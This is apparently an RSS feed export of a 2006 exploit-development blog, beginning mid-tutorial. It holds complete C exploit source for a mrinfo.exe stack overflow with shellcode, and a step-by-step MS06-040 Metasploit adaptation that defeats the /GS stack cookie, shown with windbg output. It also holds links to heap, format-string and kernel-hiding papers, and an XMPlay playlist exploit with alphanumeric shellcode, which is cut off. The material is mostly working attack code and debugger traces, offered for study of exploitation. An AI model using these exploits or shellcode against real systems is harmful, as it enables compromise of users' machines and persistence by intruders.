What our exploit will have to do ? We will have to create a buffer with our shellcode and our RET. Next, we will have to execute mrinfo with -i and our buffer for setting, for do that we will create a buffer with sprintf() and execute it with system(). And our buffer ? We will have to have a RET and a shellcode, we will begin with RET. Previously, we saw that our shellcode can be added to ESP. So, to create a exploit the best is to do select EIP on a JMP ESP or a CALL ESP. Like you surely know, our RET is into the center of our buffer, that can't contain NULL 0x00 characters. We just have to find our JMP ESP at another adress that will be not like 00XXXXXX. We will use WinHex for read the RAM. So, Start mrinfo.exe with the debugger and after into WinHex, open the RAM or mrinfo Tolls-&#62;RAM editor and select mrinfo and open entire memory. Unfortunately, the adresses there is like 00XXXXXX we cannot search a JMP ESP there. Always into Tools-&#62; RAM editor we see that mrinfo run lot of dll like systems dll that they are sometime adresses like 77XXXXXX that will be good for we. So, open msvctr.dll for example. <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-4.jpg" /> Into Msvctr.dll the adresses are like 77XXXXXX, now we have to check if it have a JMP ESP in. The OP codes a JMP ESP are 0xff 0xe4. We will search into Msvcrt.dll with WinHex Search-&#62;Find Hex Value and search FFE4, unfortunately there isn't in Msvcrt.dll we can search FFD4 (CALL ESP) but we will check into another dll ntdll.dll for example and research another time. <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-5.jpg" /> Oh ! We have a JMP ESP in ntdll.dll at offset 77F4801C, unfortunately this offset can change of a version to another of Windows and the service pack, but our exploit is local ! We can ask directly our program to find this offset! For that it just have to make a offset = LoadLibrary("ntdll.dll") to load the dll. And after we will scan our dll with a loop while(!end) { if((( BYTE *)offset)[i] == ff &#38;&#38; (( BYTE *)offset)[i+1] == e4) { sprintf(ret,"%x",&#38;(( BYTE *)offset)[i]); end= TRUE; } i++; } This loop will search FF and E4 (OP code of JMP ESP) into the library and set this offset into RET. But we can't set this offset directly like that into our var because we have get it on 8 char and we have to set it to 4 char .. for(y=0;y&#60;10;y++) { nret[y]=ret[y]-48; if(nret[y]&#62;10){ switch((nret[y]-33)) { case 16: nret[y]=0x0a; break; case 17: nret[y]=0x0b; break; case 18: nret[y]=0x0c; break; case 19: nret[y]=0x0d; break; case 20: nret[y]=0x0e; break; case 21: nret[y]=0x0f; break; } } memset(ret,0,sizeof(ret)); ret[0]=nret[0]*0x10+nret[1]; ret[1]=nret[2]*0x10+nret[3]; ret[2]=nret[4]*0x10+nret[5]; ret[3]=nret[6]*0x10+nret[7]; So the question of RET is answered. shellcode is left, for our example we will use a little simple shellcode that popup a MessageBox. char shellcode[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x33xc9" "x51" "x51" "x51" "x51" "xb8xd7xadxd3x77" "xffxd0" "xffx57xe8"; There are some NOP before to make it more portable in the case or ESP would not point on the beginning of the shellcode but a few bytes further. Now make the buffer that it will send to system(). It have to resemble like « mrinfo.exe -i [56A][RET][SC] » So : sprintf(buffer,"mrinfo -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%c%c%c%c%s",ret[3],ret[2],ret[1],ret[0],shellcode); give it to system() system(buffer); That's it, now our exploit , it will be able to work Win2k :) On WinXP, There is a access violation, but it isn't important because our only goal was to write a exploit. When mrinfo.exe crash (on winxp) made debogage and choose continuous. <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-6.jpg" /> And ! ! ! <img border="0" src="http://www.coromputer.net/img/tutos/mrinfo/s.mrinfo-7.jpg" /> This is our Message box of our shellcode, mrinfo.exe have execute our code. ################################################################## This tutorial is the image of that which wrote it, imperfect, So don't hesitate to contact me if you note an error or if you have a comment to make at <a href="mailto:scurt@coromputer.net">scurt@coromputer.net</a> You will be able to find a version improved of the exploit with a SC which pop Shell on our site. <a target="_blank" href="http://www.coromputer.net/files/mrinfo2k.c">http://www.coromputer.net/files/mrinfo2k.c</a> Special thanks to Coromputer team and special greet to Decryptus, Mik_ and kralor without which nothing could have been possible. Find us on www.coromputer.net or on irc #coromputer @ undernet ################################################################## // The full code used into this text : #include "windows.h" #include "conio.h" int main() { int offset; BYTE ff = 0xff; BYTE e4 = 0xe4; BOOL end = FALSE; char ret[10]={0}; int nret[10]={0}; int i=0; int y=0; char buffer[128]; char shellcode[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x33xc9" "x51" "x51" "x51" "x51" "xb8xd7xadxd3x77" "xffxd0" "xffx57xe8"; // this shellcode just popup a new blank MessageBox 33char //56 char before the ret char* pshellcode; offset=(int)LoadLibrary("ntdll.dll"); while(!end) { if((( BYTE *)offset)[i] == ff &#38;&#38; (( BYTE *)offset)[i+1] == e4) { printf("%xn",&#38;(( BYTE *)offset)[i]); sprintf(ret,"%x",&#38;(( BYTE *)offset)[i]); end= TRUE; } i++; } for(y=0;y&#60;10;y++) { nret[y]=ret[y]-48; if(nret[y]&#62;10){ switch((nret[y]-33)) { case 16: nret[y]=0x0a; break; case 17: nret[y]=0x0b; break; case 18: nret[y]=0x0c; break; case 19: nret[y]=0x0d; break; case 20: nret[y]=0x0e; break; case 21: nret[y]=0x0f; break; } } } memset(ret,0,sizeof(ret)); ret[0]=nret[0]*0x10+nret[1]; ret[1]=nret[2]*0x10+nret[3]; ret[2]=nret[4]*0x10+nret[5]; ret[3]=nret[6]*0x10+nret[7]; sprintf(buffer,"mrinfo -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%c%c%c%c%s",ret[3],ret[2],ret[1],ret[0],shellcode); system(buffer); getch(); return 0; } Source : coromputer.net</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[develop MS06-040 Exploit !]]></title>
<link>http://hessamx.wordpress.com/2006/12/16/develop-ms06-040-exploit/</link>
<pubDate>Sat, 16 Dec 2006 13:10:44 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/16/develop-ms06-040-exploit/</guid>
<description><![CDATA[in this paper Trirat Kira  explain how to develop exploit MS06-040 that attack against Windows Se]]></description>
<content:encoded><![CDATA[<p>in this paper Trirat Kira  explain how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in Windows Server 2003 SP0.<br />
read more ...</p>
<p><!--more--></p>
<p>First of all, I use the metasploit module, netapi_ms06_040.pm, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this:</p>
<p>[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ],</p>
<p>change to</p>
<p>[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ],</p>
<p>add this code:</p>
<p>$shellcode = “\x42” x length($shellcode);</p>
<p>above the code line:</p>
<p>my $path</p>
<p>replace the code:</p>
<p>Pex::Text::AlphaNumText(number)</p>
<p>with</p>
<p>(“\x41” x number)</p>
<p>The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes. I run this exploit attack against the machine, and windbg show the result like this:</p>
<p>kd&#62; .exr 00E0F1F8</p>
<p>ExceptionAddress: 77bd4d33 (msvcrt!wcscpy+0x0000000b)</p>
<p>ExceptionCode: c0000005 (Access violation)</p>
<p>ExceptionFlags: 00000000</p>
<p>NumberParameters: 2</p>
<p>Parameter[0]: 00000001</p>
<p>Parameter[1]: 41414141</p>
<p>Attempt to write to address 41414141</p>
<p>kd&#62; .cxr 00E0F214</p>
<p>eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32</p>
<p>eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cy</p>
<p>cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283</p>
<p>msvcrt!wcscpy+0xb:</p>
<p>001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=????</p>
<p>The exception occurs at the address 0x77bd4d33 (wcscpy+0xb) – attemp to write to the address 0x41414141. I also view the stack:</p>
<p>kd&#62; dd esp</p>
<p>00e0f4e0 71c44b7e 41414141 00e0f4f8 00000000</p>
<p>00e0f4f0 0016ded8 0011d878 0100d8d2 77da7417</p>
<p>00e0f500 42421000 42424242 42424242 42424242</p>
<p>00e0f510 42424242 42424242 42424242 42424242</p>
<p>00e0f520 42424242 42424242 42424242 42424242</p>
<p>00e0f530 42424242 42424242 42424242 42424242</p>
<p>00e0f540 42424242 42424242 42424242 42424242</p>
<p>00e0f550 42424242 42424242 42424242 42424242</p>
<p>kd&#62; dd ebp</p>
<p>00e0f910 41414141 41414141 41414141 aaaaaaaa</p>
<p>00e0f920 41414141 41414141 aaaaaaaa 41414141</p>
<p>00e0f930 41414141 41414141 41414141 41414141</p>
<p>00e0f940 41414141 41414141 41414141 00000000</p>
<p>00e0f950 0011d87c 00000000 00e0f988 77c52360</p>
<p>00e0f960 0011d590 0011d5a0 0016ded8 00000061</p>
<p>00e0f970 0011d878 0011d87c 00000000 02020202</p>
<p>00e0f980 00000007 000efc9c 00e0fd64 77ce51d0</p>
<p>kd&#62; kb</p>
<p>ChildEBP RetAddr Args to Child</p>
<p>00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy+0xb</p>
<p>00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName+0x12c</p>
<p>Now the address 0x41414141 is overwritten instead of 0xaaaaaaaa. I found that the offset of the position that can control ecx is at 46th bytes from the last of variable $path.<br />
At this time I can control ecx, I change value 0xaaaaaaaa back to 0x02040801 (near the location 0x02080400) and rerun the exploit</p>
<p>kd&#62; r</p>
<p>eax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32</p>
<p>eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy</p>
<p>cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287</p>
<p>001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????</p>
<p>kd&#62; u</p>
<p>001b:77bd4d33 668901 mov word ptr [ecx],ax</p>
<p>001b:77bd4d36 41 inc ecx</p>
<p>001b:77bd4d37 41 inc ecx</p>
<p>001b:77bd4d38 42 inc edx</p>
<p>001b:77bd4d39 42 inc edx</p>
<p>001b:77bd4d3a 6685c0 test ax,ax</p>
<p>001b:77bd4d3d 75f1 jne 77bd4d30</p>
<p>001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]</p>
<p>kd&#62; p</p>
<p>ntdll!KiUserExceptionDispatcher+0x4:</p>
<p>001b:77f4526b 8b1c24 mov ebx,dword ptr [esp]</p>
<p>After the instruction at the address 0x77bd4dee “mov word ptr [ecx], ax”, the function KiUserExceptionDispatcher() is called instead of the instruction at address 0x77bd4d36 “inc ecx”. This means that the address 0x02080401 is not writeable.</p>
<p>This is the new problem when developing this exploit. 0x02080401 is not writeable no more. There is any location that I can overwrite and it has to be reliable. One of the best choice is heap memory. I decide to use the memory address 0x01590101 as the memory to be overwritten.</p>
<p>kd&#62; bl</p>
<p>0 e 77bd4d33 0001 (0001) "j @ecx = 01590101 '';'gc'"</p>
<p>kd&#62; g</p>
<p>001b:77bd4d33 668901 mov word ptr [ecx],ax</p>
<p>kd&#62; r</p>
<p>eax=00e8d8eb ebx=77bd4cfe ecx=01590101 edx=00e8f4f8 esi=00000000 edi=77bd4e32</p>
<p>eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy</p>
<p>cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287</p>
<p>001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:01590101=0000</p>
<p>kd&#62; u</p>
<p>001b:77bd4d33 668901 mov word ptr [ecx],ax</p>
<p>001b:77bd4d36 41 inc ecx</p>
<p>001b:77bd4d37 41 inc ecx</p>
<p>001b:77bd4d38 42 inc edx</p>
<p>001b:77bd4d39 42 inc edx</p>
<p>001b:77bd4d3a 6685c0 test ax,ax</p>
<p>001b:77bd4d3d 75f1 jne 77bd4d30</p>
<p>001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]</p>
<p>kd&#62; p</p>
<p>001b:77bd4d36 41 inc ecx</p>
<p>Yeah, 0x01590101 is writeable memory. Everything seems OK, it return from msvcrt!wcscpy() to NETAPI32!CanonicalizePathName().</p>
<p>msvcrt!wcscpy+0x1b:</p>
<p>001b:77bd4d43 c3 ret</p>
<p>kd&#62; p</p>
<p>NETAPI32!CanonicalizePathName+0x12c:</p>
<p>001b:71c44b7e 59 pop ecx</p>
<p>kd&#62; u</p>
<p>NETAPI32!CanonicalizePathName+0x12c:</p>
<p>001b:71c44b7e 59 pop ecx</p>
<p>001b:71c44b7f 59 pop ecx</p>
<p>001b:71c44b80 33c0 xor eax,eax</p>
<p>001b:71c44b82 8b4dfc mov ecx,dword ptr [ebp-4]</p>
<p>001b:71c44b85 5f pop edi</p>
<p>001b:71c44b86 5e pop esi</p>
<p>001b:71c44b87 5b pop ebx</p>
<p>001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)</p>
<p>001b:71c44b8d c9 leave</p>
<p>001b:71c44b8e c21400 ret 14h</p>
<p>Set of instructions are executed like I describe in the previous post, except this line:<br />
NETAPI32!CanonicalizePathName+0x136:</p>
<p>001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)</p>
<p>When this function is called, everything is disappear. The instruction “leave” at the address 0x71c44b8d is not called. As its name imply, this is the stack-based buffer overflow protection is Windows Server 2003 SP0. The function looks like this:</p>
<p>kd&#62; u 71c414f6</p>
<p>NETAPI32!__security_check_cookie:</p>
<p>71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)]</p>
<p>71c414fc 0f8593060100 jne NETAPI32!__security_check_cookie+0x9 (71c51b95)</p>
<p>71c41502 c3 ret</p>
<p>This function will compare ecx value with the value that stored at 0x71c8c1ec – random cookie. The ecx value comes from the instruction at address 0x71c44b82 “mov ecx, dword ptr [ebp-4]” – the cookie that stored on the stack to cross check with the valid one. If ecx value match the valid cookie, the flow of execution will continue, if not it will jump to the address 0x71c51b95:</p>
<p>NETAPI32!__security_check_cookie+0x9:</p>
<p>71c51b95 e97d4e0000 jmp NETAPI32!__report_gsfailure (71c56a17)</p>
<p>it jumps to function NETAPI32!__report_gsfailure(). End up this !!!</p>
<p>Now, I’m faced with /GS --“. At first time I think may be I should give up at this point because there is no one can break /GS, except one that described by David Litchfield - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf. Litchfield’s technique use SEH to bypass the protection. But as I know, (may be) there is no part of our payload overwrite the handler so this technique cannot be used.</p>
<p>But something comes into my mind. At this point I have the following condition that true:</p>
<p>I can write to any memory location that I want – Sure, it has to be writable memory location (1)<br />
I can modified the ecx value – cookie stored on stack (2)<br />
Then I think if I can control both cookies on stacked and the valid cookie, I can pass the security cookie check function and execute “leave” and “ret” instruction. To control both cookies, these conditions have to be true:<br />
I can write to the address that store the valid cookie. This address has to be writeable and is a fixed address – for a reliable exploit (3)<br />
I can control ecx value (4)<br />
Because the condition (2) is true, the condition (4) is also true because they are equivalent. For the condition (3), it will be true if the address that store the valid cookie, 0x71c8c1ec, is writable and is a fixed location.<br />
After debug several times I found that this address is a fixed address inside NETAPI32 dll. Wow !!! my theory will become true if this address is writable. I haven’t tested but I quite sure that this memory location is writable because the cookie is generated at runtime and the process must have the write permission on it. If the process there is no write permissions, the valid cookie cannot be saved.<br />
Now before we continue, I’ve rewrite the $path to make it more readable:<br />
…</p>
<p>$shellcode = “\xcc” x length($shellcode)<br />
my $path = $shellcode.<br />
(“\x41” x ($target-&#62;[1] – length($shellcode))).<br />
(“\x49” x 52).<br />
(“\xec\xc1\xc8”\x71”).<br />
(“\x43” x 40).<br />
(“\x00\x00”);<br />
…<br />
and then rerun the exploit:<br />
kd&#62; bp 77bd4d33 "j @ecx = 71c8c1ec '';'gc'"<br />
kd&#62; g<br />
001b:77bd4d33 668901 mov word ptr [ecx],ax<br />
kd&#62; r<br />
eax=00e84242 ebx=77bd4cfe ecx=71c8c1ec edx=00e8f4f8 esi=00000000 edi=77bd4e32<br />
eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na po cy<br />
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283<br />
001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:71c8c1ec=e64e<br />
kd&#62; p<br />
001b:77bd4d36 41 inc ecx<br />
kd&#62; dd 71c8c1ec<br />
71c8c1ec bb404242 00000000 00000000 00000000<br />
71c8c1fc 00000000 000926e0 ffffffff 00000000<br />
71c8c20c 00000000 00000000 00000000 71c8c218<br />
71c8c21c 71c8c218 00000000 00000000 00000000<br />
71c8c22c 00000000 00000000 00000000 00000000<br />
71c8c23c 00000007 00000001 00000000 00000000<br />
71c8c24c 00000000 00000000 00000000 00000000<br />
71c8c25c 00000000 00092780 ffffffff 00000000</p>
<p>there is no error occur and the first 2 bytes of 0x71c8c1ec is overwrite to 0x4242 value. I let windbg run until it write all of the shellcode into 0x71c8c1ec – to see whether or not it allow to overwite memory location outside 0x71c8c1ec. I view the memory location:</p>
<p>kd&#62; dd 71c8c1ec<br />
71c8c1ec 42424242 42424242 42424242 42424242<br />
71c8c1fc 42424242 42424242 42424242 42424242<br />
71c8c20c 42424242 42424242 42424242 42424242<br />
71c8c21c 42424242 42424242 42424242 42424242<br />
71c8c22c 42424242 42424242 42424242 42424242<br />
71c8c23c 42424242 42424242 42424242 42424242<br />
71c8c24c 42424242 42424242 42424242 42424242<br />
71c8c25c 42424242 42424242 42424242 42424242</p>
<p>Yeah !!! we can write our shellcode into the address 0x71c8c1ec - we can control the valid cookie. I let windbg run until it reach at the instruction address 0x71c44b8 – call the security cookie checking function().</p>
<p>kd&#62; r<br />
eax=00000000 ebx=000e9a70 ecx=49494949 edx=00e0f94e esi=000e7bc0 edi=00000000<br />
eip=71c44b88 esp=00e0f4f8 ebp=00e0f910 iopl=0 nv up ei pl zr na pe nc<br />
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246<br />
001b:71c44b88 e869c9ffff call 71c414f6<br />
Our ecx value is 0x49494949 before compare with the value at the address 0x71c8c1ec. It’s a simple work to find the offset of this – it’s the 66th bytes from that last of $path variable. I change these bytes to “\x42” and then run the exploit again:</p>
<p>kd&#62; r<br />
eax=00000000 ebx=00106bc0 ecx=42424242 edx=00e8f94e esi=000e3670 edi=00000000<br />
eip=71c44b88 esp=00e8f4f8 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc<br />
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246<br />
NETAPI32!CanonicalizePathName+0x136:<br />
001b:71c44b88 e869c9ffff call NETAPI32!__security_check_cookie (71c414f6)<br />
kd&#62; dd 71c8c1ec<br />
71c8c1ec 42424242 42424242 42424242 42424242<br />
71c8c1fc 42424242 42424242 42424242 42424242<br />
71c8c20c 42424242 42424242 42424242 42424242<br />
71c8c21c 42424242 42424242 42424242 42424242<br />
71c8c22c 42424242 42424242 42424242 42424242<br />
71c8c23c 42424242 42424242 42424242 42424242<br />
71c8c24c 42424242 42424242 42424242 42424242<br />
71c8c25c 42424242 42424242 42424242 42424242<br />
kd&#62; p<br />
NETAPI32!CanonicalizePathName+0x13b:<br />
001b:71c44b8d c9 leave<br />
kd&#62; p<br />
NETAPI32!CanonicalizePathName+0x13c:<br />
001b:71c44b8e c21400 ret 14h<br />
kd&#62; p<br />
001b:49494949 ?? ???<br />
At this time ecx value is matched, the “leave” and “ret” instruction are executed. This results in the flow of execution transfer 0x49494949 – I win ^0^. Finding the offset of 0x49494949 is not the hard part. I change 0x49494949 to 0x71c8c1ec – address of our shellcode – End Game…</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Bypssing Windows Heap Protections]]></title>
<link>http://hessamx.wordpress.com/2006/12/14/bypssing-windows-heap-protections/</link>
<pubDate>Thu, 14 Dec 2006 13:20:53 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/14/bypssing-windows-heap-protections/</guid>
<description><![CDATA[milw0rm papers is a good archive for nice papers. (thx to str0ke for made this archive).
recently po]]></description>
<content:encoded><![CDATA[<p>milw0rm papers is a good archive for nice papers. (thx to str0ke for made this archive).<br />
recently posted a paper about Bypassing Windows Heap Protections by falliere .<br />
;) read this paper : <a href="http://www.milw0rm.com/papers/122">milw0rm.com</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Advances in format string exploitation]]></title>
<link>http://hessamx.wordpress.com/2006/12/09/advances-in-format-string-exploitation/</link>
<pubDate>Sat, 09 Dec 2006 15:47:44 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/09/advances-in-format-string-exploitation/</guid>
<description><![CDATA[This paper explains about Exploting Heap Based format strings &amp; about Brute Froce attacks in thi]]></description>
<content:encoded><![CDATA[<p>This paper explains about Exploting Heap Based format strings &#38; about Brute Froce attacks in this method .<br />
Phrack 0x0b, Issue 0x3b, Phile #0x07 of 0x12<br />
(Read More ...)<br />
<!--more-->Source : <a href="http://www.phrack.org/archives/59/p59-0x07.txt" target="_blank">Phrack.org</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Smashing The Kernel For Fun And Profit]]></title>
<link>http://hessamx.wordpress.com/2006/12/09/smashing-the-kernel-for-fun-and-profit/</link>
<pubDate>Sat, 09 Dec 2006 15:40:59 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/09/smashing-the-kernel-for-fun-and-profit/</guid>
<description><![CDATA[This is a translation of the original article published on www.s0ftpj.org .
( introduction section ]]></description>
<content:encoded><![CDATA[<p>This is a translation of the original article published on www.s0ftpj.org .<br />
( introduction section ...)<br />
Today the net offers us a lot of pseudo-tools that work as processes hiders but, as well known, they are far to be perfect. Let's start for example with a classic binary-trojan: running strace we'll notice immediately that there's something that needs our attention.<br />
(read more ...)<br />
<!--more--><br />
At the end, in more or less twenty seconds (in the evenience the sysadmin is quite unwise) we would find ourselves out of our preferred system. We can reach fourty seconds if we are planning to use kernel-tools,like the famous knark and adore, but, on my opinion, that is too less time to work in peace :-) In the article that follows I'll show you a technique that allows you to remain into a system for enough time or to give a sysadmin a<br />
terrible headache.<br />
Source : <a href="http://www.milw0rm.com/papers/101" target="_blank">Milw0rm.com</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[BOF exploit in the Alpha Linux]]></title>
<link>http://vuln.wordpress.com/2006/12/07/bof-exploit-in-the-alpha-linux/</link>
<pubDate>Thu, 07 Dec 2006 15:12:56 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://vuln.wordpress.com/2006/12/07/bof-exploit-in-the-alpha-linux/</guid>
<description><![CDATA[There are many exploit code of buffer overflow. However, almost all codes works well only in the int]]></description>
<content:encoded><![CDATA[<p>There are many exploit code of buffer overflow. However, almost all codes works well only in the intel x86 linux. This paper will attempt to explain how you exploit same bug in the alpha linux. Read this paper in <a href="http://www.securiteam.com/exploits/alpha-bof.txt" title="BOF exploit in the alpha linux">securiteam.com</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Advanced malloc exploits]]></title>
<link>http://vuln.wordpress.com/2006/12/07/advanced-malloc-exploits/</link>
<pubDate>Thu, 07 Dec 2006 15:05:12 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://vuln.wordpress.com/2006/12/07/advanced-malloc-exploits/</guid>
<description><![CDATA[This article explains what several techniques that allow more generic and reliable exploitation of p]]></description>
<content:encoded><![CDATA[<p>This article explains what several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location.<br />
read this paper in <a href="http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt" target="_blank">Phrack.org</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Exploiting with linux-gate.so.1]]></title>
<link>http://vuln.wordpress.com/2006/12/07/exploiting-with-linux-gateso1/</link>
<pubDate>Thu, 07 Dec 2006 13:32:28 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://vuln.wordpress.com/2006/12/07/exploiting-with-linux-gateso1/</guid>
<description><![CDATA[linux-gate.so.1 not a dynamically loaded library but a dynamically shared object (DSO).This article ]]></description>
<content:encoded><![CDATA[<p>linux-gate.so.1 not a dynamically loaded library but a dynamically shared object (DSO).This article explains what linux-gate.so.1 how it can be useful for exploits and can byppasing some protections.this is pretty good for Buffer Overflow Exploits.<br />
you can read this paper <a href="http://www.milw0rm.com/papers/55" title="Milw0rm.com">here</a>.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[return-into-libc Papers]]></title>
<link>http://vuln.wordpress.com/2006/12/07/return-into-libc-papers/</link>
<pubDate>Thu, 07 Dec 2006 13:24:05 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://vuln.wordpress.com/2006/12/07/return-into-libc-papers/</guid>
<description><![CDATA[return-into-libc is very useful method for exploiting .this is a method of exploiting a buffer overf]]></description>
<content:encoded><![CDATA[<p>return-into-libc is very useful method for exploiting .this is a method of exploiting a buffer overflow on a system that has a non-executable stack (like linux).</p>
<p><a href="http://www.phrack.org/archives/58/p58-0x04" target="_blank">The advanced return-into-lib(c) exploits</a><br />
<a href="http://www.milw0rm.com/papers/24" target="_blank">Exploitation - returning into libc</a><br />
<a href="http://www.open-security.org/papers/Vuln-Dev-Unix/return-to-libc.pdf" target="_blank">c0ntex - return to libc  </a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Advanced malloc exploits ]]></title>
<link>http://hessamx.wordpress.com/2006/12/06/advanced-malloc-exploits/</link>
<pubDate>Wed, 06 Dec 2006 11:47:05 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/06/advanced-malloc-exploits/</guid>
<description><![CDATA[This paper details several techniques that allow more generic and reliable exploitation of processes]]></description>
<content:encoded><![CDATA[<p>This paper details several techniques that allow more generic and reliable exploitation of processes that provide us with the ability to overwrite an almost arbitrary 4 byte value at any location.<br />
(read more ...)</p>
<p><!--more--><br />
Higher level techniques will be constructed on top of the unlink() basic technique (presented in MaXX's article [2]) to exploit processes which allow an attacker to corrupt Doug Lea's malloc (Linux default's dynamic memory allocator).<br />
<a target="_blank" href="http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt">Source : phrack.org</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[analyze XMPlay 3.3.0.4 BOF Exploit]]></title>
<link>http://hessamx.wordpress.com/2006/12/02/analyze-xmplay-3304-bof-exploit/</link>
<pubDate>Sat, 02 Dec 2006 10:37:44 +0000</pubDate>
<dc:creator>hessamx</dc:creator>
<guid>http://hessamx.wordpress.com/2006/12/02/analyze-xmplay-3304-bof-exploit/</guid>
<description><![CDATA[Source : milw0rm&#8217;s Froum
Thisone uses a file to exploit a vulnerability, so when your victim o]]></description>
<content:encoded><![CDATA[<p>Source : milw0rm's Froum</p>
<p>Thisone uses a file to exploit a vulnerability, so when your victim opens this<br />
file..the vulnerability gets exploited and calc.exe is executed on the victims system.</p>
<p>Vulnerability Description:</p>
<p>Greg Linares has discovered a vulnerability in XMPlay,<br />
which can be exploited by malicious people to compromise<br />
a user's system.</p>
<p>The vulnerability is caused due to a boundary error within the<br />
parsing of playlists (.m3u, .pls, and .asx) containing an overly<br />
long file name (greater than 500 bytes). This can be exploited<br />
to cause a stack-based buffer overflow via a specially crafted playlist file.</p>
<p>Successful exploitation allows execution of arbitrary code.<br />
The vulnerability is confirmed in version 3.3.0.5.<br />
Other versions may also be affected.</p>
<p>Let's analyze the exploit ...<br />
(read more ... )<br />
<!--more--><br />
URL: http://www.milw0rm.com/exploits/2821<br />
Author: Greg Linares</p>
<p>Payload:</p>
<p>---<br />
PLS Format<br />
[playlist]<br />
File1=C:\[BUFFER][JMP][SHELLCODE][NOPSLED][Extension]<br />
Title1=title (could also be used for the buffer overflow exploit)<br />
---</p>
<p>Perfectly explained by the author of the exploit.</p>
<p>---<br />
#include &#60;stdio.h&#62;<br />
#include &#60;stdlib.h&#62;<br />
#include &#60;string.h&#62;<br />
int main(int argc, char *argv[])<br />
{</p>
<p>FILE *Exploit; &#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;--- the file handle<br />
char buffer[512];<br />
char *outp;</p>
<p>/* Executes Calc.exe Alpha2 Shellcode Provided by Expanders &#60;expanders[at]gmail[dot]com&#62; */<br />
unsigned char scode[] =<br />
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"<br />
"YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM"<br />
"5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtp"<br />
"LEiPd8VlNkqPVllKPp7lNMLK0htHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNip"<br />
"sPu8LX9nMZvnv79oM7sSU1rLsSdnu5rX3UuPA";</p>
<p>---<br />
Q: How do I generate Alpha2 shellcode?<br />
A:</p>
<p>Generating alphanumeric shellcode with metasploit,</p>
<p>Example:</p>
